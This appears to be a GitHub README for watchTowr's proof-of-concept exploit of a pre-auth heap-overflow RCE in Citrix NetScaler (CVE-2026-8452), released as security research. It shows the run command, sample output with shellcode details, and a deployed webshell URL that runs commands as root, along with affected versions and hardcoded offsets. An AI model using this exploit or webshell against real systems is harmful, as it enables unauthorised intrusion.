watchtowrlabs/watchtowr-vs-citrix-netscaler-preauth-rce-cve-2026-8452Proof-of-concept exploit for Citrix NetScaler CVE-2026-8452 that verifies pre-auth RCE by building shellcode and executing commands through a deployed webshell.
Detection Artifact Generator for Citrix NetScaler CVE-2026-8452
See our blog post for technical details.
python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://172.16.5.12:9443/
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py
(*) Citrix NetScaler PreAuth Heap overflow to RCE Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-8452]
[*] Connecting to endpoint...
[*] target AAA service is responsive
[*] building shellcode
[+] shellcode size: 268 bytes
[*] triggering jmp rax to 0x112d30180
[*] sent..
[+] webshell will be at https://172.16.5.12:9443/vpn/theme/x.php?0=uname+-a;id
[+] web shell output:
FreeBSD something 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 ef731ca813f0(heads/artesa_30_52)-dirty: Wed Aug 24 08:24:55 PDT 2022 root@sjc-bld-bsd114-215:/usr/obj/usr/home/build/adc/usr.src/sys/NS64 amd64
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)
all the offsets/addresses are hardcoded for version 13.1-30.52 of NetScaler
Tthe vulnerability is reachable when the Netscaler appliance is configured to use SAML as either a Service Provider (SP) or an Identity Provider (IdP).
Citrix lists the following versions as affected:
NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-72.61 NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.18
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